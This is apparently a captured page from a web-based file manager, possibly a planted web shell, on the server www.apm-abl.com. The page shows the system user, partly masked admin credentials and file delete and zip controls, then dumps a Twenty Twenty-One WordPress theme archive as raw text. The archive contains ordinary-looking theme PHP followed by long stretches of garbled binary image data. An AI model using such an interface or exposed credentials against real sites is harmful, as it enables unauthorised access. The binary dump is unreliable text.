🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_c86d0b07 / 352c****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: twentytwentyone.zip
PK Q=\��OaK aK functionsbak.phpnu �[��� <?php /** * Functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package WordPress * @subpackage Twenty_Twenty_One * @since Twenty Twenty-One 1.0 */ // This theme requires WordPress 5.3 or later. if ( version_compare( $GLOBALS['wp_version'], '5.3', '<' ) ) { require get_template_directory() . '/inc/back-compat.php'; } if ( ! function_exists( 'twenty_twenty_one_setup' ) ) { /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. * * @since Twenty Twenty-One 1.0 * * @return void */ function twenty_twenty_one_setup() { // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * This theme does not use a hard-coded <title> tag in the document head, * WordPress will provide it for us. */ add_theme_support( 'title-tag' ); /** * Add post-formats support. */ add_theme_support( 'post-formats', array( 'link', 'aside', 'gallery', 'image', 'quote', 'status', 'video', 'audio', 'chat', ) ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size( 1568, 9999 ); register_nav_menus( array( 'primary' => esc_html__( 'Primary menu', 'twentytwentyone' ), 'footer' => esc_html__( 'Secondary menu', 'twentytwentyone' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', 'navigation-widgets', ) ); /* * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ $logo_width = 300; $logo_height = 100; add_theme_support( 'custom-logo', array( 'height' => $logo_height, 'width' => $logo_width, 'flex-width' => true, 'flex-height' => true, 'unlink-homepage-logo' => true, ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); // Add support for Block Styles. add_theme_support( 'wp-block-styles' ); // Add support for full and wide align images. add_theme_support( 'align-wide' ); // Add support for editor styles. add_theme_support( 'editor-styles' ); $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); if ( 127 > Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) ) { add_theme_support( 'dark-editor-style' ); } $editor_stylesheet_path = './assets/css/style-editor.css'; // Note, the is_IE global variable is defined by WordPress and is used // to detect if the current browser is internet explorer. global $is_IE; if ( $is_IE ) { $editor_stylesheet_path = './assets/css/ie-editor.css'; } // Enqueue editor styles. add_editor_style( $editor_stylesheet_path ); // Add custom editor font sizes. add_theme_support( 'editor-font-sizes', array( array( 'name' => esc_html__( 'Extra small', 'twentytwentyone' ), 'shortName' => esc_html_x( 'XS', 'Font size', 'twentytwentyone' ), 'size' => 16, 'slug' => 'extra-small', ), array( 'name' => esc_html__( 'Small', 'twentytwentyone' ), 'shortName' => esc_html_x( 'S', 'Font size', 'twentytwentyone' ), 'size' => 18, 'slug' => 'small', ), array( 'name' => esc_html__( 'Normal', 'twentytwentyone' ), 'shortName' => esc_html_x( 'M', 'Font size', 'twentytwentyone' ), 'size' => 20, 'slug' => 'normal', ), array( 'name' => esc_html__( 'Large', 'twentytwentyone' ), 'shortName' => esc_html_x( 'L', 'Font size', 'twentytwentyone' ), 'size' => 24, 'slug' => 'large', ), array( 'name' => esc_html__( 'Extra large', 'twentytwentyone' ), 'shortName' => esc_html_x( 'XL', 'Font size', 'twentytwentyone' ), 'size' => 40, 'slug' => 'extra-large', ), array( 'name' => esc_html__( 'Huge', 'twentytwentyone' ), 'shortName' => esc_html_x( 'XXL', 'Font size', 'twentytwentyone' ), 'size' => 96, 'slug' => 'huge', ), array( 'name' => esc_html__( 'Gigantic', 'twentytwentyone' ), 'shortName' => esc_html_x( 'XXXL', 'Font size', 'twentytwentyone' ), 'size' => 144, 'slug' => 'gigantic', ), ) ); // Custom background color. add_theme_support( 'custom-background', array( 'default-color' => 'd1e4dd', ) ); // Editor color palette. $black = '#000000'; $dark_gray = '#28303D'; $gray = '#39414D'; $green = '#D1E4DD'; $blue = '#D1DFE4'; $purple = '#D1D1E4'; $red = '#E4D1D1'; $orange = '#E4DAD1'; $yellow = '#EEEADD'; $white = '#FFFFFF'; add_theme_support( 'editor-color-palette', array( array( 'name' => esc_html__( 'Black', 'twentytwentyone' ), 'slug' => 'black', 'color' => $black, ), array( 'name' => esc_html__( 'Dark gray', 'twentytwentyone' ), 'slug' => 'dark-gray', 'color' => $dark_gray, ), array( 'name' => esc_html__( 'Gray', 'twentytwentyone' ), 'slug' => 'gray', 'color' => $gray, ), array( 'name' => esc_html__( 'Green', 'twentytwentyone' ), 'slug' => 'green', 'color' => $green, ), array( 'name' => esc_html__( 'Blue', 'twentytwentyone' ), 'slug' => 'blue', 'color' => $blue, ), array( 'name' => esc_html__( 'Purple', 'twentytwentyone' ), 'slug' => 'purple', 'color' => $purple, ), array( 'name' => esc_html__( 'Red', 'twentytwentyone' ), 'slug' => 'red', 'color' => $red, ), array( 'name' => esc_html__( 'Orange', 'twentytwentyone' ), 'slug' => 'orange', 'color' => $orange, ), array( 'name' => esc_html__( 'Yellow', 'twentytwentyone' ), 'slug' => 'yellow', 'color' => $yellow, ), array( 'name' => esc_html__( 'White', 'twentytwentyone' ), 'slug' => 'white', 'color' => $white, ), ) ); add_theme_support( 'editor-gradient-presets', array( array( 'name' => esc_html__( 'Purple to yellow', 'twentytwentyone' ), 'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $yellow . ' 100%)', 'slug' => 'purple-to-yellow', ), array( 'name' => esc_html__( 'Yellow to purple', 'twentytwentyone' ), 'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $purple . ' 100%)', 'slug' => 'yellow-to-purple', ), array( 'name' => esc_html__( 'Green to yellow', 'twentytwentyone' ), 'gradient' => 'linear-gradient(160deg, ' . $green . ' 0%, ' . $yellow . ' 100%)', 'slug' => 'green-to-yellow', ), array( 'name' => esc_html__( 'Yellow to green', 'twentytwentyone' ), 'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $green . ' 100%)', 'slug' => 'yellow-to-green', ), array( 'name' => esc_html__( 'Red to yellow', 'twentytwentyone' ), 'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $yellow . ' 100%)', 'slug' => 'red-to-yellow', ), array( 'name' => esc_html__( 'Yellow to red', 'twentytwentyone' ), 'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $red . ' 100%)', 'slug' => 'yellow-to-red', ), array( 'name' => esc_html__( 'Purple to red', 'twentytwentyone' ), 'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $red . ' 100%)', 'slug' => 'purple-to-red', ), array( 'name' => esc_html__( 'Red to purple', 'twentytwentyone' ), 'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $purple . ' 100%)', 'slug' => 'red-to-purple', ), ) ); /* * Adds starter content to highlight the theme on fresh sites. * This is done conditionally to avoid loading the starter content on every * page load, as it is a one-off operation only needed once in the customizer. */ if ( is_customize_preview() ) { require get_template_directory() . '/inc/starter-content.php'; add_theme_support( 'starter-content', twenty_twenty_one_get_starter_content() ); } // Add support for responsive embedded content. add_theme_support( 'responsive-embeds' ); // Add support for custom line height controls. add_theme_support( 'custom-line-height' ); // Add support for link color control. add_theme_support( 'link-color' ); // Add support for experimental cover block spacing. add_theme_support( 'custom-spacing' ); // Add support for custom units. // This was removed in WordPress 5.6 but is still required to properly support WP 5.5. add_theme_support( 'custom-units' ); // Remove feed icon link from legacy RSS widget. add_filter( 'rss_widget_feed_link', '__return_empty_string' ); } } add_action( 'after_setup_theme', 'twenty_twenty_one_setup' ); /** * Registers widget area. * * @since Twenty Twenty-One 1.0 * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar * * @return void */ function twenty_twenty_one_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Footer', 'twentytwentyone' ), 'id' => 'sidebar-1', 'description' => esc_html__( 'Add widgets here to appear in your footer.', 'twentytwentyone' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } add_action( 'widgets_init', 'twenty_twenty_one_widgets_init' ); /** * Sets the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @since Twenty Twenty-One 1.0 * * @global int $content_width Content width. * * @return void */ function twenty_twenty_one_content_width() { // This variable is intended to be overruled from themes. // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}. // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound $GLOBALS['content_width'] = apply_filters( 'twenty_twenty_one_content_width', 750 ); } add_action( 'after_setup_theme', 'twenty_twenty_one_content_width', 0 ); /** * Enqueues scripts and styles. * * @since Twenty Twenty-One 1.0 * * @global bool $is_IE * @global WP_Scripts $wp_scripts * * @return void */ function twenty_twenty_one_scripts() { // Note, the is_IE global variable is defined by WordPress and is used // to detect if the current browser is internet explorer. global $is_IE, $wp_scripts; if ( $is_IE ) { // If IE 11 or below, use a flattened stylesheet with static values replacing CSS Variables. wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/assets/css/ie.css', array(), wp_get_theme()->get( 'Version' ) ); } else { // If not IE, use the standard stylesheet. wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/style.css', array(), wp_get_theme()->get( 'Version' ) ); } // RTL styles. wp_style_add_data( 'twenty-twenty-one-style', 'rtl', 'replace' ); // Print styles. wp_enqueue_style( 'twenty-twenty-one-print-style', get_template_directory_uri() . '/assets/css/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' ); // Threaded comment reply styles. if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } // Register the IE11 polyfill file. wp_register_script( 'twenty-twenty-one-ie11-polyfills-asset', get_template_directory_uri() . '/assets/js/polyfills.js', array(), wp_get_theme()->get( 'Version' ), array( 'in_footer' => true ) ); // Register the IE11 polyfill loader. wp_register_script( 'twenty-twenty-one-ie11-polyfills', null, array(), wp_get_theme()->get( 'Version' ), array( 'in_footer' => true ) ); wp_add_inline_script( 'twenty-twenty-one-ie11-polyfills', wp_get_script_polyfill( $wp_scripts, array( 'Element.prototype.matches && Element.prototype.closest && window.NodeList && NodeList.prototype.forEach' => 'twenty-twenty-one-ie11-polyfills-asset', ) ) ); // Main navigation scripts. if ( has_nav_menu( 'primary' ) ) { wp_enqueue_script( 'twenty-twenty-one-primary-navigation-script', get_template_directory_uri() . '/assets/js/primary-navigation.js', array( 'twenty-twenty-one-ie11-polyfills' ), wp_get_theme()->get( 'Version' ), array( 'in_footer' => false, // Because involves header. 'strategy' => 'defer', ) ); } // Responsive embeds script. wp_enqueue_script( 'twenty-twenty-one-responsive-embeds-script', get_template_directory_uri() . '/assets/js/responsive-embeds.js', array( 'twenty-twenty-one-ie11-polyfills' ), wp_get_theme()->get( 'Version' ), array( 'in_footer' => true ) ); } add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_scripts' ); /** * Enqueues block editor script. * * @since Twenty Twenty-One 1.0 * * @return void */ function twentytwentyone_block_editor_script() { wp_enqueue_script( 'twentytwentyone-editor', get_theme_file_uri( '/assets/js/editor.js' ), array( 'wp-blocks', 'wp-dom' ), wp_get_theme()->get( 'Version' ), array( 'in_footer' => true ) ); } add_action( 'enqueue_block_editor_assets', 'twentytwentyone_block_editor_script' ); /** * Fixes skip link focus in IE11. * * This does not enqueue the script because it is tiny and because it is only for IE11, * thus it does not warrant having an entire dedicated blocking script being loaded. * * @since Twenty Twenty-One 1.0 * @deprecated Twenty Twenty-One 1.9 Removed from wp_print_footer_scripts action. * * @link https://git.io/vWdr2 */ function twenty_twenty_one_skip_link_focus_fix() { // If SCRIPT_DEBUG is defined and true, print the unminified file. if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) { echo '<script>'; include get_template_directory() . '/assets/js/skip-link-focus-fix.js'; echo '</script>'; } else { // The following is minified via `npx terser --compress --mangle -- assets/js/skip-link-focus-fix.js`. ?> <script> /(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",(function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())}),!1); </script> <?php } } /** * Enqueues non-latin language styles. * * @since Twenty Twenty-One 1.0 * * @return void */ function twenty_twenty_one_non_latin_languages() { $custom_css = twenty_twenty_one_get_non_latin_css( 'front-end' ); if ( $custom_css ) { wp_add_inline_style( 'twenty-twenty-one-style', $custom_css ); } } add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_non_latin_languages' ); // SVG Icons class. require get_template_directory() . '/classes/class-twenty-twenty-one-svg-icons.php'; // Custom color classes. require get_template_directory() . '/classes/class-twenty-twenty-one-custom-colors.php'; new Twenty_Twenty_One_Custom_Colors(); // Enhance the theme by hooking into WordPress. require get_template_directory() . '/inc/template-functions.php'; // Menu functions and filters. require get_template_directory() . '/inc/menu-functions.php'; // Custom template tags for the theme. require get_template_directory() . '/inc/template-tags.php'; // Customizer additions. require get_template_directory() . '/classes/class-twenty-twenty-one-customize.php'; new Twenty_Twenty_One_Customize(); // Block Patterns. require get_template_directory() . '/inc/block-patterns.php'; // Block Styles. require get_template_directory() . '/inc/block-styles.php'; // Dark Mode. require_once get_template_directory() . '/classes/class-twenty-twenty-one-dark-mode.php'; new Twenty_Twenty_One_Dark_Mode(); /** * Enqueues scripts for the customizer preview. * * @since Twenty Twenty-One 1.0 * * @return void */ function twentytwentyone_customize_preview_init() { wp_enqueue_script( 'twentytwentyone-customize-helpers', get_theme_file_uri( '/assets/js/customize-helpers.js' ), array(), wp_get_theme()->get( 'Version' ), array( 'in_footer' => true ) ); wp_enqueue_script( 'twentytwentyone-customize-preview', get_theme_file_uri( '/assets/js/customize-preview.js' ), array( 'customize-preview', 'customize-selective-refresh', 'jquery', 'twentytwentyone-customize-helpers' ), wp_get_theme()->get( 'Version' ), array( 'in_footer' => true ) ); } add_action( 'customize_preview_init', 'twentytwentyone_customize_preview_init' ); /** * Enqueues scripts for the customizer. * * @since Twenty Twenty-One 1.0 * * @return void */ function twentytwentyone_customize_controls_enqueue_scripts() { wp_enqueue_script( 'twentytwentyone-customize-helpers', get_theme_file_uri( '/assets/js/customize-helpers.js' ), array(), wp_get_theme()->get( 'Version' ), array( 'in_footer' => true ) ); } add_action( 'customize_controls_enqueue_scripts', 'twentytwentyone_customize_controls_enqueue_scripts' ); /** * Calculates classes for the main <html> element. * * @since Twenty Twenty-One 1.0 * * @return void */ function twentytwentyone_the_html_classes() { /** * Filters the classes for the main <html> element. * * @since Twenty Twenty-One 1.0 * * @param string The list of classes. Default empty string. */ $classes = apply_filters( 'twentytwentyone_html_classes', '' ); if ( ! $classes ) { return; } echo 'class="' . esc_attr( $classes ) . '"'; } /** * Adds "is-IE" class to body if the user is on Internet Explorer. * * @since Twenty Twenty-One 1.0 * * @return void */ function twentytwentyone_add_ie_class() { ?> <script> if ( -1 !== navigator.userAgent.indexOf( 'MSIE' ) || -1 !== navigator.appVersion.indexOf( 'Trident/' ) ) { document.body.classList.add( 'is-IE' ); } </script> <?php } add_action( 'wp_footer', 'twentytwentyone_add_ie_class' ); if ( ! function_exists( 'wp_get_list_item_separator' ) ) : /** * Retrieves the list item separator based on the locale. * * Added for backward compatibility to support pre-6.0.0 WordPress versions. * * @since 6.0.0 */ function wp_get_list_item_separator() { /* translators: Used between list items, there is a space after the comma. */ return __( ', ', 'twentytwentyone' ); } endif; PK Q=\�͘$| | image.phpnu �[��� <?php /** * The template for displaying image attachments * * @package WordPress * @subpackage Twenty_Twenty_One * @since Twenty Twenty-One 1.0 */ get_header(); // Start the loop. while ( have_posts() ) { the_post(); ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header alignwide"> <?php the_title( '<h1 class="entry-title">', '</h1>' ); ?> </header><!-- .entry-header --> <div class="entry-content"> <figure class="wp-block-image"> <?php /** * Filter the default image attachment size. * * @since Twenty Twenty-One 1.0 * * @param string $image_size Image size. Default 'full'. */ $image_size = apply_filters( 'twenty_twenty_one_attachment_size', 'full' ); echo wp_get_attachment_image( get_the_ID(), $image_size ); ?> <?php if ( wp_get_attachment_caption() ) : ?> <figcaption class="wp-caption-text"><?php echo wp_kses_post( wp_get_attachment_caption() ); ?></figcaption> <?php endif; ?> </figure><!-- .wp-block-image --> <?php the_content(); wp_link_pages( array( 'before' => '<nav class="page-links" aria-label="' . esc_attr__( 'Page', 'twentytwentyone' ) . '">', 'after' => '</nav>', /* translators: %: Page number. */ 'pagelink' => esc_html__( 'Page %', 'twentytwentyone' ), ) ); ?> </div><!-- .entry-content --> <footer class="entry-footer default-max-width"> <?php // Check if there is a parent, then add the published in link. if ( wp_get_post_parent_id( $post ) ) { echo '<span class="posted-on">'; printf( /* translators: %s: Parent post. */ esc_html__( 'Published in %s', 'twentytwentyone' ), '<a href="' . esc_url( get_the_permalink( wp_get_post_parent_id( $post ) ) ) . '">' . esc_html( get_the_title( wp_get_post_parent_id( $post ) ) ) . '</a>' ); echo '</span>'; } else { // Edit post link. edit_post_link( sprintf( /* translators: %s: Post title. Only visible to screen readers. */ esc_html__( 'Edit %s', 'twentytwentyone' ), '<span class="screen-reader-text">' . get_the_title() . '</span>' ), '<span class="edit-link">', '</span>' ); } // Retrieve attachment metadata. $metadata = wp_get_attachment_metadata(); if ( $metadata ) { printf( '<span class="full-size-link"><span class="screen-reader-text">%1$s</span><a href="%2$s">%3$s × %4$s</a></span>', /* translators: Hidden accessibility text. */ esc_html_x( 'Full size', 'Used before full size attachment link.', 'twentytwentyone' ), // phpcs:ignore WordPress.Security.EscapeOutput esc_url( wp_get_attachment_url() ), absint( $metadata['width'] ), absint( $metadata['height'] ) ); } if ( wp_get_post_parent_id( $post ) ) { // Edit post link. edit_post_link( sprintf( /* translators: %s: Post title. Only visible to screen readers. */ esc_html__( 'Edit %s', 'twentytwentyone' ), '<span class="screen-reader-text">' . get_the_title() . '</span>' ), '<span class="edit-link">', '</span><br>' ); } ?> </footer><!-- .entry-footer --> </article><!-- #post-<?php the_ID(); ?> --> <?php // If comments are open or there is at least one comment, load up the comment template. if ( comments_open() || get_comments_number() ) { comments_template(); } } // End the loop. get_footer(); PK Q=\d�GVQ Q screenshot.pngnu �[��� �PNG IHDR � � >_� P�IDATx��1 D�B���>�^rn�c� 4�2W-� `� @ � B ! � A � @ � B ! � A � @ � B ! � A � B ! � A � @ � B ! � A � @ � B ! � A � � B ! � A � @ � B ! � A � @ � B ! � A � @ ! � A � @ � B >�d��0Q ���#3�%�5������'T�����]�?������$�$H� H9��F`Jܷr/r/��!���;�+��n�����"&'�+Jy�ݱHp'��KrE�r�oH�,?[Br1}x;Sb��+�)��(��`�*�b�-X�]��{aA� s���YiF˹,��Zk��MDU��s�1 �V*����d�f~p���}���� ���� w�oـ�?ʁ�}��l6��ؓ!��e��-�i/���i�5贘�a-z��0�#Na[m��s��k����2QY�e!��[��������鐦"�i���]� U3�]qP�{Z.��43-�q[R�a`E�Q��ZNp�J�W�km¢E�3�9Rzd]m�MF�YQ+ ��%��J�w����7�ߝ~�,#"�%�fv��,E���S�a�r�X$l7gʲ�-�ϲЌ�&�'b��ǜ=���7%�1���z���W��_� ����WF�e�D��R�zg��5%�Q����Q'z���� {b�;~�gJzA���[ܓ��stq�~�"}��{�C�.k3[;��ݎ�C��QG���b8MX�-��:Iy�K�,��^��kyeIV$t5���3����s�34Ģ� �w�q�5jԨ0���ȯ�<{��\�J��<��U�����MS@&u�ah��M|����a��&.�,�q�^�z�`�q�<ͯ���C�Ȋ�s�N�O�o5�>I��(ҿ#�==>��9IQ�����$ ��5{�,������sE� rlo~a^�e4d��@�,�=�L+K K���"J�2X�h0<;�>4������ȳ�h���t�pw�=���e�����MaS�ؠ���c��>��v�u|�;���˲$J�0�>�/G���L�"K���㏜��B�\�<BH"˂i��*���z�]_�?D�9�� �Ċ�KI�FQ���+`�G�+�V'O�=����HY����t+Xnl���V;���,g�&���`b�:N�A�撴��)kb��G�Ӵ�O� ��$� s�Е a��}2�����;�*���G��ޛ��&*6��{/�k�]c��$�b7&*+&{�(6� vEz�ޛ �}��ͥ�'�Ӳ��p���s��3���̄� �q�6O�dɑ���I4l����M�~=�~��ž{O/i+E~~A�ً�4&}~^�][���ض�gG����y��Y���;�%�:��r����O�>VQY�z��ݽ1��)#ut���бa�%�*oQ�% ���ޡ����C�b"cy��M���/�4�+��~�փ�G,��L��}�ڭ��-�,�J�6����jh��8r6%)�gh?3sSi�'��A�c�=�zK� -��5?�����ͽ��t�AU�"ٹ*+-���s��͚}/�}m=���U��v��k,_7�z&y��}���+���īa�[4;}�\JRڸ�#�LXao^�s3�� Í������qO�bB�>LLJURRpp�rt����Ӹ�QY�ki�|��/�~����\�[Kw��;��ݭ}aǽ���y$k_��**(�8m,��#QDEQ�a�ξm˞�{O�l[e��LP]^�*��{$:*�Ħ��[T��t�>�{yUyW��d�nݗ������W* ����5�1|_�u�ـ_Q~���t1x՚��^=t��|<?O����PP�/.*����@_���ߕ-�?�[��ypG���.��b��>s�,�/d��,b�w�~ܾ��y�N�f`��_P^ut�?i�-�۷�6���Sgv�We��s�ڶw1�GEE)93竅����i+cl�hn��o21�T��v����]Ѧ� ̫���\=}��Sǘ�2��o�y�Ng��f��Hk(���w勇�������w�P|>g���UI��:p�ԩffƌ=���)�����`�o?sP���P�T���<(�+�:s�������wl���-06�����,J��Y㰰3�o���~��k���ã���Ҩޤɳ��l�۵sB\�g.��^��>}ack���ӯS�v`<�p����_̙7a�1�<A�=s☿��45T555�����i3��9�<{z��}ܕ���8[[�|3���!}A�5 B�������A �p�^;^-)�(6�&><�Mn��{�a�^Ҁ0#=k�O�������U.E�(�/ڹůC�v�����Wp��f<��d��Ҳ�:z:n�91��g.��.[����p ��v�>6h� �J?�z��+�rB��7����\cɠZ�2�tv��}.����ɼu+ �ƥ%��;��YԢ�?mܴqY5�kʉ���Ԥ����;���~���M|��s[ ��=���WN�����emk�B��ci���_��Ý�2]�/���8�$/_ݠ�B�x�\v��3g.�l�BK[�˻]�鳿$�N]���U|T����̼~S.09��(|w�F���545��j3��Y8S����+�hi��k�rs�r���u��#�Ψ�(�{��=�����;���s3tĸ!���%O}�v���'�Q�����V*s�쬜]�5le Ϟ�8{�=��K"/S28��G�,@(�(��" n%���ݺ�ݸ~���B�g�T1}�� d�g3��t�O��v�� �(��GMONN��x���&jtnv�5۷l�9o�,4�f-���(K۵qNA�TTRx������7+����f.�j�ԙc[��ՠ������Cߟ���2����� tu���̦��9:٘��$�'�_���D��)�����\�bK��͇�� sq�[��S�PL�p7��id��7:�����X�����;��tg/��������̞7MEU�iaa�wK�>xrɲ��J�J��Pi+0=r�T���W.40�o֤YAa�A����~�l������ɀ?�͞;�������u?�X�i���f=��=z����uw�W�!)8�y��� t��rr�6|��Pwꌱ���`�����w��yh�g�qL���ζ-�llZ��y��AgQVQ� �Fjko�n����|���� �R<��.�two��2##3K[GK���A��v�r��v�V> K�<�~펍[����͢"c��gs&iji����*�" E�������*���Ǐ�=��� SFt��� "4�����������p��'���b�52�>~������%�E�֦-�(�4hs�_�J-��aV%��J�خ] ��קgQa����jh�����a��)�E�ݲ��;����l��@�����k=lx�}{��|��<�"�V�S��c��-�9�������X!%��}�o8�sM702N�UT���c�vغp�þ�����Wn�h����gf�|���<'+ئ�����1/� ����4lD��{1-2�*aι$�K�;�簩��i�Ư�J �e�<�[�9�#�E������-e�r�,�oۘm��]��7�����hfa�@$���k�atd{�uBf�uY�����{��[�)�B|<���ܺ~�Ǎ��l0�b���sn"�;*&q�O��\:W�4�ү��Ҭi3�(yn�[����8e������.T�T>���(��"�(�� ��X����M�(��� ��ٯ��#w�G���(�Z 4 y���/M�L����X��e��O^z����{� ��� �0Uc ��������B���z�������K�`�p�{w�����`'d����{wRh��҅k����?M��Qh*oko���I?n���ى�|۷��"����B{U/ώO�{y� �c86�ۆ�kM�5f���4�e�Q&�L��]=|���&V#�4!��Ӂ��̲u�*]i�����;�`ηA��O�:�s���&��4��V�W�i� �'#3'%9����e��G�rr�>�c&�pRhG��x��!@���ӂ�� �G���p����㴙�V-�<xD�r����\^^��w�r!��@5&�<3�<3U��J�����?|�V|l�ͪ���ܙK�F�ܹ=��S�j�&��zݡs;AqR�W@�STRT�o�2�5?�" ���A�0���+**�q���Q[U�5.�f͛<��c����xݹf`��������#���l�[c���U�Bll�:�5�"y*)(b$�y?O���2��چ@o��1KY�]���FK[�5C�:9��c�\ ���Ⅻ]{xpZ��Ԕ�K��~[Bm��*�NzVG555�&K��� �177�y=�[O�$,j6����gNN�dm ��%|�����������tF�^�}��v��9S8?��6�J�qE����^5�w����t����d��GOC4�\��sw�߾������_>`-0��`s��k���q%�j�*>C��{9��u����V�(�\�y�7���ޮC�B�"P�0m�[6��ւi,sH�#�(EQD�u_�;xX_=]m����8'g{��ÆB�Y~n~U������9��Q�P�(��2��D7N�;����TSS���"*"��B;o9 {��J��ʟ����C}m-�Ǐ���2O�$���w|��Y��H��9�Iɩ�ml_��������݀�Wv��C�f�0�r�s ��$4i"'X���223��?Iဒ�c��W��;rC�A�)���Jdh�ûh��4rrځ�,,����(+�K:���KB�#"��ڦ��k��|Bcޢ�`E�z>H('QQ�S��F���� _,��N5�Ex��U+]}]�3�U������|td,!��=x�:a��oΜ4��� �9�1���%����G�+�vw�Lϼ�ε ,�ܜ<B'M-I��6���_����h%�� � �D�N�����"��K� ��C�@`9��6�^x��-^E r�p�J�ޞޝxp_<���$�B����W��ettN+�#M �Z&f���~�+���� �{�?�^0~-�~r<H_}3'.6)����\��K�^�x{�̱p�HI)�[��4�:| �\����r߁�/ݖx�Y�/��AGY{W'�S�/�C�LJa� a�ܛ$TΞC��J�cx>{�����,d�9�� BnG����g��ع]�nn@�C������,.z���uf�����=���Χ����g/^6[��_u�X�J&L�o���_t�*=��oU%L_�:�H���a��̒��DQDEL��<�@�6m��xHL�J��q�m\���iK�]?q��?1!�z'�IV��b���W�;:� }�� 6 IG�U���?�����_����<==3+3��� J�D���I@%� �0�yԋ�O=;s��Ǒ�\����r�Hu����\�ԕAU ���nݿq�U�7��9�~�W��5��mZJ���&��iff/���(&:�8q�_�=��L�9��ɣ�/S���q%�e��X��K�Lr�'2"��HO:�g�EUU]5�E����Fp�L�9���s����n�<����� y�k"�����g���5UVf��"BQJ�ș�ƍ���>ѷ�c�OE�%e���I�$d��������RK>��K~n���^��SΝ ���P �h���N<u�ҭw�'��;��֯�G�~� <�E!/���TbN�}��"˧}:c�ݐ'�!�1�PVm���v/K������#];8�^�9++K�;�v�Qc���ª���o�o-�7�;��s[��*���'/���[[#��$Nζ���W`~J>'�еS�q��!wm���#��"�(�����~�r�����h�� 1:�%��ŭ�gۃ*���!$$���R��9eu����D��%�Bdx>(,�����Ii�>�J��ن|��Gٸ�:\-G;��C�ٱ��~kV�|����ikk�W��I��Y�y&9�w�Ex!p ;�v�:����9~����#��$ ����Ԩ�U0Lpջ�B$��� ̾[���rp���\�V�S�0}��A���u�pl�s�����Ӿ݇���X�]ʃ�ϼ��A+����r'��!.!���u�D#X�p'��r] ���� ���ކr(�)��U�9s"